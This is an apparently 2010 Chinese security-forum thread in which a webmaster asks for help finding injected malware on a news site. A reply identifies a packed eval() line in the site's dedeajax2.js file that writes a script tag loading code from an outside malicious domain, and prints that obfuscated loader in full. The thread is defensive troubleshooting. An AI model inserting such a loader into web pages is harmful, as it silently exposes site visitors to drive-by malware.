求助各位老大，网站被挂马一直找不到哪里被挂多谢 bbs.ikaka.com

白鹤UIR - 2010-5-12 11:15:00

求助

各位老大网站被挂马一直找不到哪里被挂

每次打开都显示

网址是: www.newslist.com.cn

发现 IE浏览器访问恶意网址：http://ihuhk.9966.org/u/ads.php?aid=1 已被 360网盾阻止 11:01:22

有病毒截图请老大们帮忙分析下

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QQDownload 1.7; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727)

networkedition - 2010-5-12 11:18:00

在这个http://www.newslist.com.cn/include/dedeajax2.js下有个eval ：

[复制到剪贴板]

CODE:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4.f(\'<a b="5://6.1.8/e/2.9?3=0" d="c/7"></a>\')',62,16,'1|9966|ads|aid|document|http|ihuhk|javascript|org|php|script|src|text|type|u|writeln'.split('|'),0,{}))

eval解密出的那个链接地址已经失效了。

瑞星卡卡安全论坛